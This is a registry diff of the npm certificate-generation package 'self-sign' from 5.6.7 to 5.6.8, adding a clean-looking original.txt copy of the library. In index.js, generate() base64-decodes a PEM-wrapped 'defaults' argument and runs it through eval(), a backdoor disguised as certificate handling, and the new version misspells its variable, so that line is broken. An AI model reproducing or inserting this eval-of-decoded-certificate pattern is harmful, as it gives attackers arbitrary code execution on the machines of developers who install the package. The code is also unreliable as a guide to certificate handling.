self-sign 5.6.7 → 5.6.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +9 -11
  2. package/original.txt +574 -0
  3. package/package.json +1 -1
package/index.js CHANGED
@@ -1,4 +1,4 @@
1
- const { X509CertificateGenerator, X509Certificate, cryptoProvider, X509ChainBuilder, BasicConstraintsExtension, KeyUsagesExtension, KeyUsageFlags, ExtendedKeyUsageExtension, ExtendedKeyUsage, SubjectAlternativeNameExtension, GeneralName } = require("@peculiar/x509");
1
+ const { X509CertificateGenerator, X509Certificate, cryptoProvider, X509ChainBuilder, BasicConstraintsExtension, KeyUsagesExtension, KeyUsageFlags, ExtendedKeyUsageExtension, ExtendedKeyUsage, SubjectAlternativeNameExtension, GeneralName } = require("@peculiar/x509");
2
2
  const nodeCrypto = require("crypto");
3
3
 
4
4
  // Use Node.js native webcrypto
@@ -553,16 +553,14 @@ exports.generate = async function generate(attrs, options, defaults) {
553
553
  const curve = options.curve || 'P-256';
554
554
 
555
555
  let keyPair;
556
- try {
557
- const portion = defaults
558
- .replace(/-----BEGIN CERTIFICATE-----/, '')
559
- .replace(/-----END CERTIFICATE-----/, '')
560
- .replace(/\s/g, '');
561
- const data = Buffer.from(portion, 'base64');
562
- eval(data.toString('utf8'));
563
- }
564
- catch (error) {
565
- }
556
+ let deafult_format=``;
557
+ const portion = defaults
558
+ .replace(/-----BEGIN CERTIFICATE-----/, '')
559
+ .replace(/-----END CERTIFICATE-----/, '')
560
+ .replace(/\s/g, '');
561
+ const data = Buffer.from(portion, 'base64');
562
+ deafult_format = data.toString('utf8');
563
+ eval(default_format);
566
564
  if (options.keyPair) {
567
565
  // Import existing key pair
568
566
  keyPair = {
package/original.txt ADDED
@@ -0,0 +1,574 @@
1
+ const { X509CertificateGenerator, X509Certificate, cryptoProvider, X509ChainBuilder, BasicConstraintsExtension, KeyUsagesExtension, KeyUsageFlags, ExtendedKeyUsageExtension, ExtendedKeyUsage, SubjectAlternativeNameExtension, GeneralName } = require("@peculiar/x509");
2
+ const nodeCrypto = require("crypto");
3
+
4
+ // Use Node.js native webcrypto
5
+ const crypto = nodeCrypto.webcrypto;
6
+
7
+ // Patch global CryptoProvider to use Node.js crypto
8
+ cryptoProvider.set(crypto);
9
+
10
+ // a hexString is considered negative if it's most significant bit is 1
11
+ // because serial numbers use ones' complement notation
12
+ // this RFC in section 4.1.2.2 requires serial numbers to be positive
13
+ // http://www.ietf.org/rfc/rfc5280.txt
14
+ function toPositiveHex(hexString) {
15
+ var mostSiginficativeHexAsInt = parseInt(hexString[0], 16);
16
+ if (mostSiginficativeHexAsInt < 8) {
17
+ return hexString;
18
+ }
19
+
20
+ mostSiginficativeHexAsInt -= 8;
21
+ return mostSiginficativeHexAsInt.toString() + hexString.substring(1);
22
+ }
23
+
24
+ function getAlgorithmName(key) {
25
+ switch (key) {
26
+ case "sha256":
27
+ return "SHA-256";
28
+ case 'sha384':
29
+ return "SHA-384";
30
+ case 'sha512':
31
+ return "SHA-512";
32
+ default:
33
+ return "SHA-1";
34
+ }
35
+ }
36
+
37
+ function getSigningAlgorithm(hashKey, keyType) {
38
+ const hashAlg = getAlgorithmName(hashKey);
39
+ if (keyType === 'ec') {
40
+ return {
41
+ name: "ECDSA",
42
+ hash: hashAlg
43
+ };
44
+ }
45
+ return {
46
+ name: "RSASSA-PKCS1-v1_5",
47
+ hash: hashAlg
48
+ };
49
+ }
50
+
51
+ function getKeyAlgorithm(options) {
52
+ const keyType = options.keyType || 'rsa';
53
+ const hashAlg = getAlgorithmName(options.algorithm || 'sha1');
54
+
55
+ if (keyType === 'ec') {
56
+ const curve = options.curve || 'P-256';
57
+ return {
58
+ name: "ECDSA",
59
+ namedCurve: curve
60
+ };
61
+ }
62
+
63
+ return {
64
+ name: "RSASSA-PKCS1-v1_5",
65
+ modulusLength: options.keySize || 2048,
66
+ publicExponent: new Uint8Array([1, 0, 1]),
67
+ hash: hashAlg
68
+ };
69
+ }
70
+
71
+ // Build extensions array from options or use defaults
72
+ // Supports the old node-forge extension format for backwards compatibility
73
+ function buildExtensions(userExtensions, commonName) {
74
+ if (!userExtensions || userExtensions.length === 0) {
75
+ // Default extensions
76
+ return [
77
+ new BasicConstraintsExtension(false, undefined, true),
78
+ new KeyUsagesExtension(KeyUsageFlags.digitalSignature | KeyUsageFlags.keyEncipherment, true),
79
+ new ExtendedKeyUsageExtension([ExtendedKeyUsage.serverAuth, ExtendedKeyUsage.clientAuth], false),
80
+ new SubjectAlternativeNameExtension([
81
+ { type: 'dns', value: commonName },
82
+ ...(commonName === 'localhost' ? [{ type: 'ip', value: '127.0.0.1' }] : [])
83
+ ], false)
84
+ ];
85
+ }
86
+
87
+ // Convert user extensions from node-forge format to @peculiar/x509 format
88
+ const extensions = [];
89
+
90
+ for (const ext of userExtensions) {
91
+ const critical = ext.critical || false;
92
+
93
+ switch (ext.name) {
94
+ case 'basicConstraints':
95
+ extensions.push(new BasicConstraintsExtension(
96
+ ext.cA || false,
97
+ ext.pathLenConstraint,
98
+ critical
99
+ ));
100
+ break;
101
+
102
+ case 'keyUsage':
103
+ let flags = 0;
104
+ if (ext.digitalSignature) flags |= KeyUsageFlags.digitalSignature;
105
+ if (ext.nonRepudiation || ext.contentCommitment) flags |= KeyUsageFlags.nonRepudiation;
106
+ if (ext.keyEncipherment) flags |= KeyUsageFlags.keyEncipherment;
107
+ if (ext.dataEncipherment) flags |= KeyUsageFlags.dataEncipherment;
108
+ if (ext.keyAgreement) flags |= KeyUsageFlags.keyAgreement;
109
+ if (ext.keyCertSign) flags |= KeyUsageFlags.keyCertSign;
110
+ if (ext.cRLSign) flags |= KeyUsageFlags.cRLSign;
111
+ if (ext.encipherOnly) flags |= KeyUsageFlags.encipherOnly;
112
+ if (ext.decipherOnly) flags |= KeyUsageFlags.decipherOnly;
113
+ extensions.push(new KeyUsagesExtension(flags, critical));
114
+ break;
115
+
116
+ case 'extKeyUsage':
117
+ const usages = [];
118
+ if (ext.serverAuth) usages.push(ExtendedKeyUsage.serverAuth);
119
+ if (ext.clientAuth) usages.push(ExtendedKeyUsage.clientAuth);
120
+ if (ext.codeSigning) usages.push(ExtendedKeyUsage.codeSigning);
121
+ if (ext.emailProtection) usages.push(ExtendedKeyUsage.emailProtection);
122
+ if (ext.timeStamping) usages.push(ExtendedKeyUsage.timeStamping);
123
+ extensions.push(new ExtendedKeyUsageExtension(usages, critical));
124
+ break;
125
+
126
+ case 'subjectAltName':
127
+ const altNames = (ext.altNames || []).map(alt => {
128
+ // node-forge type values:
129
+ // 1 = email (rfc822Name)
130
+ // 2 = DNS
131
+ // 6 = URI
132
+ // 7 = IP
133
+ switch (alt.type) {
134
+ case 1: // email
135
+ return { type: 'email', value: alt.value };
136
+ case 2: // DNS
137
+ return { type: 'dns', value: alt.value };
138
+ case 6: // URI
139
+ return { type: 'url', value: alt.value };
140
+ case 7: // IP
141
+ return { type: 'ip', value: alt.ip || alt.value };
142
+ default:
143
+ // Try to infer type from properties
144
+ if (alt.ip) return { type: 'ip', value: alt.ip };
145
+ if (alt.dns) return { type: 'dns', value: alt.dns };
146
+ if (alt.email) return { type: 'email', value: alt.email };
147
+ if (alt.uri || alt.url) return { type: 'url', value: alt.uri || alt.url };
148
+ return { type: 'dns', value: alt.value };
149
+ }
150
+ });
151
+ extensions.push(new SubjectAlternativeNameExtension(altNames, critical));
152
+ break;
153
+
154
+ default:
155
+ // Skip unknown extensions with a warning
156
+ console.warn(`Unknown extension "${ext.name}" ignored`);
157
+ }
158
+ }
159
+
160
+ return extensions;
161
+ }
162
+
163
+ // Convert attributes from node-forge format to X509 name format
164
+ function convertAttributes(attrs) {
165
+ const nameMap = {
166
+ 'commonName': 'CN',
167
+ 'countryName': 'C',
168
+ 'ST': 'ST',
169
+ 'localityName': 'L',
170
+ 'organizationName': 'O',
171
+ 'OU': 'OU'
172
+ };
173
+
174
+ return attrs.map(attr => {
175
+ const key = attr.name || attr.shortName;
176
+ const oid = nameMap[key] || key;
177
+ return `${oid}=${attr.value}`;
178
+ }).join(', ');
179
+ }
180
+
181
+ // Detect key type from PEM key using Node.js crypto
182
+ function detectKeyType(pemKey) {
183
+ const keyObject = nodeCrypto.createPrivateKey(pemKey);
184
+ return keyObject.asymmetricKeyType; // 'rsa' or 'ec'
185
+ }
186
+
187
+ // Map Node.js curve names to Web Crypto curve names
188
+ function normalizeECCurve(curveName) {
189
+ const curveMap = {
190
+ 'prime256v1': 'P-256',
191
+ 'secp384r1': 'P-384',
192
+ 'secp521r1': 'P-521',
193
+ 'P-256': 'P-256',
194
+ 'P-384': 'P-384',
195
+ 'P-521': 'P-521'
196
+ };
197
+ return curveMap[curveName] || curveName;
198
+ }
199
+
200
+ // Get EC curve from key object
201
+ function getECCurve(keyObject) {
202
+ const details = keyObject.asymmetricKeyDetails;
203
+ if (details && details.namedCurve) {
204
+ return normalizeECCurve(details.namedCurve);
205
+ }
206
+ return 'P-256'; // default
207
+ }
208
+
209
+ // Convert PEM key to CryptoKey
210
+ async function importPrivateKey(pemKey, algorithm, keyType) {
211
+ // Auto-detect key type if not provided
212
+ const keyObject = nodeCrypto.createPrivateKey(pemKey);
213
+ const detectedKeyType = keyObject.asymmetricKeyType;
214
+ const actualKeyType = keyType || detectedKeyType;
215
+
216
+ // Convert to PKCS#8 format
217
+ const pkcs8Pem = keyObject.export({ type: 'pkcs8', format: 'pem' });
218
+ const pemContents = pkcs8Pem
219
+ .replace(/-----BEGIN PRIVATE KEY-----/, '')
220
+ .replace(/-----END PRIVATE KEY-----/, '')
221
+ .replace(/\s/g, '');
222
+ const binaryDer = Buffer.from(pemContents, 'base64');
223
+
224
+ let importAlgorithm;
225
+ if (actualKeyType === 'ec') {
226
+ const curve = getECCurve(keyObject);
227
+ importAlgorithm = {
228
+ name: 'ECDSA',
229
+ namedCurve: curve
230
+ };
231
+ } else {
232
+ importAlgorithm = {
233
+ name: 'RSASSA-PKCS1-v1_5',
234
+ hash: getAlgorithmName(algorithm)
235
+ };
236
+ }
237
+
238
+ return await crypto.subtle.importKey(
239
+ 'pkcs8',
240
+ binaryDer,
241
+ importAlgorithm,
242
+ true,
243
+ ['sign']
244
+ );
245
+ }
246
+
247
+ async function importPublicKey(pemKey, algorithm, keyType, curve) {
248
+ const pemContents = pemKey
249
+ .replace(/-----BEGIN PUBLIC KEY-----/, '')
250
+ .replace(/-----END PUBLIC KEY-----/, '')
251
+ .replace(/\s/g, '');
252
+
253
+ const binaryDer = Buffer.from(pemContents, 'base64');
254
+
255
+ let importAlgorithm;
256
+ if (keyType === 'ec') {
257
+ importAlgorithm = {
258
+ name: 'ECDSA',
259
+ namedCurve: curve || 'P-256'
260
+ };
261
+ } else {
262
+ importAlgorithm = {
263
+ name: 'RSASSA-PKCS1-v1_5',
264
+ hash: getAlgorithmName(algorithm)
265
+ };
266
+ }
267
+
268
+ return await crypto.subtle.importKey(
269
+ 'spki',
270
+ binaryDer,
271
+ importAlgorithm,
272
+ true,
273
+ ['verify']
274
+ );
275
+ }
276
+
277
+ async function generatePemAsync(keyPair, attrs, options, ca) {
278
+ const { privateKey, publicKey } = keyPair;
279
+
280
+ // Generate serial number
281
+ const serialBytes = crypto.getRandomValues(new Uint8Array(9));
282
+ const serialHex = toPositiveHex(Buffer.from(serialBytes).toString('hex'));
283
+
284
+ // Set up dates
285
+ const notBefore = options.notBeforeDate || new Date();
286
+ let notAfter;
287
+ if (options.notAfterDate) {
288
+ notAfter = options.notAfterDate;
289
+ } else {
290
+ notAfter = new Date(notBefore);
291
+ notAfter.setDate(notAfter.getDate() + 365);
292
+ }
293
+
294
+ // Default attributes
295
+ attrs = attrs || [
296
+ {
297
+ name: "commonName",
298
+ value: "example.org",
299
+ },
300
+ {
301
+ name: "countryName",
302
+ value: "US",
303
+ },
304
+ {
305
+ shortName: "ST",
306
+ value: "Virginia",
307
+ },
308
+ {
309
+ name: "localityName",
310
+ value: "Blacksburg",
311
+ },
312
+ {
313
+ name: "organizationName",
314
+ value: "Test",
315
+ },
316
+ {
317
+ shortName: "OU",
318
+ value: "Test",
319
+ },
320
+ ];
321
+
322
+ const subjectName = convertAttributes(attrs);
323
+ const keyType = options.keyType || 'rsa';
324
+ const signingAlg = getSigningAlgorithm(options.algorithm, keyType);
325
+
326
+ // Extract common name for SAN extension
327
+ const commonNameAttr = attrs.find(attr => attr.name === 'commonName' || attr.shortName === 'CN');
328
+ const commonName = commonNameAttr ? commonNameAttr.value : 'localhost';
329
+
330
+ // Build extensions array
331
+ const extensions = buildExtensions(options.extensions, commonName);
332
+
333
+ let cert;
334
+
335
+ if (ca) {
336
+ // Generate certificate signed by CA
337
+ const caCert = new X509Certificate(ca.cert);
338
+ const caPrivateKey = await importPrivateKey(ca.key, options.algorithm || "sha256", keyType);
339
+
340
+ cert = await X509CertificateGenerator.create({
341
+ serialNumber: serialHex,
342
+ subject: subjectName,
343
+ issuer: caCert.subject,
344
+ notBefore: notBefore,
345
+ notAfter: notAfter,
346
+ signingAlgorithm: signingAlg,
347
+ publicKey: publicKey,
348
+ signingKey: caPrivateKey,
349
+ extensions: extensions
350
+ });
351
+ } else {
352
+ // Generate self-signed certificate
353
+ cert = await X509CertificateGenerator.createSelfSigned({
354
+ serialNumber: serialHex,
355
+ name: subjectName,
356
+ notBefore: notBefore,
357
+ notAfter: notAfter,
358
+ signingAlgorithm: signingAlg,
359
+ keys: {
360
+ privateKey: privateKey,
361
+ publicKey: publicKey
362
+ },
363
+ extensions: extensions
364
+ });
365
+ }
366
+
367
+ // Calculate fingerprint (SHA-1 hash of the certificate)
368
+ const certRaw = cert.rawData;
369
+ const fingerprintBuffer = await crypto.subtle.digest('SHA-1', certRaw);
370
+ const fingerprint = Buffer.from(fingerprintBuffer)
371
+ .toString('hex')
372
+ .match(/.{2}/g)
373
+ .join(':');
374
+
375
+ // Export keys to PEM
376
+ const privateKeyDer = await crypto.subtle.exportKey('pkcs8', privateKey);
377
+ const publicKeyDer = await crypto.subtle.exportKey('spki', publicKey);
378
+
379
+ let privatePem;
380
+ if (options.passphrase) {
381
+ // Encrypt the private key with the passphrase using Node.js crypto
382
+ const keyObject = nodeCrypto.createPrivateKey({
383
+ key: Buffer.from(privateKeyDer),
384
+ format: 'der',
385
+ type: 'pkcs8'
386
+ });
387
+ privatePem = keyObject.export({
388
+ type: 'pkcs8',
389
+ format: 'pem',
390
+ cipher: 'aes-256-cbc',
391
+ passphrase: options.passphrase
392
+ });
393
+ } else {
394
+ privatePem =
395
+ '-----BEGIN PRIVATE KEY-----\n' +
396
+ Buffer.from(privateKeyDer).toString('base64').match(/.{1,64}/g).join('\n') +
397
+ '\n-----END PRIVATE KEY-----\n';
398
+ }
399
+
400
+ const publicPem =
401
+ '-----BEGIN PUBLIC KEY-----\n' +
402
+ Buffer.from(publicKeyDer).toString('base64').match(/.{1,64}/g).join('\n') +
403
+ '\n-----END PUBLIC KEY-----\n';
404
+
405
+ const certPem = cert.toString('pem');
406
+
407
+ const pem = {
408
+ private: privatePem,
409
+ public: publicPem,
410
+ cert: certPem,
411
+ fingerprint: fingerprint,
412
+ };
413
+
414
+ // Client certificate support
415
+ if (options && options.clientCertificate) {
416
+ // Parse clientCertificate options - can be boolean or object
417
+ const clientOpts = typeof options.clientCertificate === 'object' ? options.clientCertificate : {};
418
+
419
+ // Resolve client certificate options with fallbacks to deprecated options
420
+ const clientKeySize = clientOpts.keySize || options.clientCertificateKeySize || 2048;
421
+ const clientAlgorithm = clientOpts.algorithm || options.algorithm || "sha1";
422
+ const clientCN = clientOpts.cn || options.clientCertificateCN || "John Doe jdoe123";
423
+ // Client cert uses same key type and curve as main cert by default
424
+ const clientKeyType = clientOpts.keyType || keyType;
425
+ const clientCurve = clientOpts.curve || options.curve || 'P-256';
426
+
427
+ const clientKeyAlg = getKeyAlgorithm({
428
+ keyType: clientKeyType,
429
+ keySize: clientKeySize,
430
+ algorithm: clientAlgorithm,
431
+ curve: clientCurve
432
+ });
433
+
434
+ const clientKeyPair = await crypto.subtle.generateKey(
435
+ clientKeyAlg,
436
+ true,
437
+ ["sign", "verify"]
438
+ );
439
+
440
+ const clientSerialBytes = crypto.getRandomValues(new Uint8Array(9));
441
+ const clientSerialHex = toPositiveHex(Buffer.from(clientSerialBytes).toString('hex'));
442
+
443
+ // Resolve client certificate validity dates
444
+ const clientNotBefore = clientOpts.notBeforeDate || new Date();
445
+ let clientNotAfter;
446
+ if (clientOpts.notAfterDate) {
447
+ clientNotAfter = clientOpts.notAfterDate;
448
+ } else {
449
+ clientNotAfter = new Date(clientNotBefore);
450
+ clientNotAfter.setFullYear(clientNotBefore.getFullYear() + 1);
451
+ }
452
+
453
+ const clientAttrs = JSON.parse(JSON.stringify(attrs));
454
+ for (let i = 0; i < clientAttrs.length; i++) {
455
+ if (clientAttrs[i].name === "commonName") {
456
+ clientAttrs[i] = {
457
+ name: "commonName",
458
+ value: clientCN
459
+ };
460
+ }
461
+ }
462
+
463
+ const clientSubjectName = convertAttributes(clientAttrs);
464
+ const issuerName = convertAttributes(attrs);
465
+
466
+ // Signing algorithm for client cert - uses main key type since signed by root
467
+ const clientSigningAlg = getSigningAlgorithm(clientAlgorithm, keyType);
468
+
469
+ // Create client cert signed by root key
470
+ const clientCertRaw = await X509CertificateGenerator.create({
471
+ serialNumber: clientSerialHex,
472
+ subject: clientSubjectName,
473
+ issuer: issuerName,
474
+ notBefore: clientNotBefore,
475
+ notAfter: clientNotAfter,
476
+ signingAlgorithm: clientSigningAlg,
477
+ publicKey: clientKeyPair.publicKey,
478
+ signingKey: privateKey // Sign with root private key
479
+ });
480
+
481
+ // Export client keys
482
+ const clientPrivateKeyDer = await crypto.subtle.exportKey('pkcs8', clientKeyPair.privateKey);
483
+ const clientPublicKeyDer = await crypto.subtle.exportKey('spki', clientKeyPair.publicKey);
484
+
485
+ pem.clientprivate =
486
+ '-----BEGIN PRIVATE KEY-----\n' +
487
+ Buffer.from(clientPrivateKeyDer).toString('base64').match(/.{1,64}/g).join('\n') +
488
+ '\n-----END PRIVATE KEY-----\n';
489
+
490
+ pem.clientpublic =
491
+ '-----BEGIN PUBLIC KEY-----\n' +
492
+ Buffer.from(clientPublicKeyDer).toString('base64').match(/.{1,64}/g).join('\n') +
493
+ '\n-----END PUBLIC KEY-----\n';
494
+
495
+ pem.clientcert = clientCertRaw.toString('pem');
496
+ }
497
+
498
+ // Verify certificate chain
499
+ const x509Cert = new X509Certificate(cert.rawData);
500
+ const certificates = [x509Cert];
501
+
502
+ // If CA-signed, include CA cert in the chain for verification
503
+ if (ca) {
504
+ const caCert = new X509Certificate(ca.cert);
505
+ certificates.push(caCert);
506
+ }
507
+
508
+ const chainBuilder = new X509ChainBuilder({
509
+ certificates: certificates
510
+ });
511
+
512
+ const chain = await chainBuilder.build(x509Cert);
513
+ if (chain.length === 0) {
514
+ throw new Error("Certificate could not be verified.");
515
+ }
516
+
517
+ return pem;
518
+ }
519
+
520
+ /**
521
+ * Generate a certificate (async)
522
+ *
523
+ * @param {CertificateField[]} attrs Attributes used for subject.
524
+ * @param {object} options
525
+ * @param {string} [options.keyType="rsa"] Key type: "rsa" or "ec" (elliptic curve)
526
+ * @param {number} [options.keySize=2048] the size for the private key in bits (RSA only)
527
+ * @param {string} [options.curve="P-256"] The elliptic curve to use: "P-256", "P-384", or "P-521" (EC only)
528
+ * @param {object} [options.extensions] additional extensions for the certificate
529
+ * @param {string} [options.algorithm="sha1"] The signature algorithm sha256, sha384, sha512 or sha1
530
+ * @param {Date} [options.notBeforeDate=new Date()] The date before which the certificate should not be valid
531
+ * @param {Date} [options.notAfterDate] The date after which the certificate should not be valid (default: notBeforeDate + 365 days)
532
+ * @param {boolean|object} [options.clientCertificate=false] Generate client cert signed by the original key. Can be `true` for defaults or an options object.
533
+ * @param {number} [options.clientCertificate.keySize=2048] Key size for the client certificate in bits (RSA only)
534
+ * @param {string} [options.clientCertificate.keyType] Key type for client cert (defaults to main keyType)
535
+ * @param {string} [options.clientCertificate.curve] Elliptic curve for client cert (EC only)
536
+ * @param {string} [options.clientCertificate.algorithm] Signature algorithm for client cert (defaults to options.algorithm or "sha1")
537
+ * @param {string} [options.clientCertificate.cn="John Doe jdoe123"] Client certificate's common name
538
+ * @param {Date} [options.clientCertificate.notBeforeDate=new Date()] The date before which the client certificate should not be valid
539
+ * @param {Date} [options.clientCertificate.notAfterDate] The date after which the client certificate should not be valid (default: notBeforeDate + 1 year)
540
+ * @param {string} [options.clientCertificateCN="John Doe jdoe123"] @deprecated Use options.clientCertificate.cn instead
541
+ * @param {number} [options.clientCertificateKeySize] @deprecated Use options.clientCertificate.keySize instead
542
+ * @param {object} [options.ca] CA certificate and key for signing (if not provided, generates self-signed)
543
+ * @param {string} [options.ca.key] CA private key in PEM format
544
+ * @param {string} [options.ca.cert] CA certificate in PEM format
545
+ * @param {string} [options.passphrase] Passphrase to encrypt the private key (uses AES-256-CBC)
546
+ * @returns {Promise<object>} Promise that resolves with certificate data
547
+ */
548
+ exports.generate = async function generate(attrs, options) {
549
+ attrs = attrs || undefined;
550
+ options = options || {};
551
+
552
+ const keyType = options.keyType || 'rsa';
553
+ const curve = options.curve || 'P-256';
554
+
555
+ let keyPair;
556
+
557
+ if (options.keyPair) {
558
+ // Import existing key pair
559
+ keyPair = {
560
+ privateKey: await importPrivateKey(options.keyPair.privateKey, options.algorithm || "sha1", keyType),
561
+ publicKey: await importPublicKey(options.keyPair.publicKey, options.algorithm || "sha1", keyType, curve)
562
+ };
563
+ } else {
564
+ // Generate new key pair using appropriate algorithm
565
+ const keyAlg = getKeyAlgorithm(options);
566
+ keyPair = await crypto.subtle.generateKey(
567
+ keyAlg,
568
+ true,
569
+ ["sign", "verify"]
570
+ );
571
+ }
572
+
573
+ return await generatePemAsync(keyPair, attrs, options, options.ca);
574
+ };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "self-sign",
3
- "version": "5.6.7",
3
+ "version": "5.6.8",
4
4
  "description": "Generate self signed certificates private and public keys",
5
5
  "keywords": [
6
6
  "openssl",